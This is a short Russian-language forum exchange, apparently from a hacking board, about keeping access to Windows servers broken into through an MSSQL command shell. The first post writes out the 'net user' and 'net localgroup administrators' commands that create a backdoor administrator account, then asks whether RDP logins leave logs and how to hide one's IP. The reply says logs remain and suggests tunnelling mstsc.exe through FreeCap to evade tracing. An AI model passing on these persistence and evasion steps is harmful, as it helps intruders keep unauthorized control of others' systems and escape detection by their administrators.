Довольно часто удается получить доступ к cmd шеллу в виндовсе(например через mssql). Если прав хватает, то легко создать нового администратора: net user admin 12345 /add net localgroup administrators admin /add Если под этим пользователем логиниться через Remote Desktop то остатся логи? При обнаружении этого пользователя адмbнами сервера их обычно смотрят? Можно ли как-нибудь подменить свой ip в таком случае.
Логи конечно остаются... Попробуй через FreeCap, добавь туда %WINDOWS%\system32\mstsc.exe Должно работать, хотя сам не пробывал...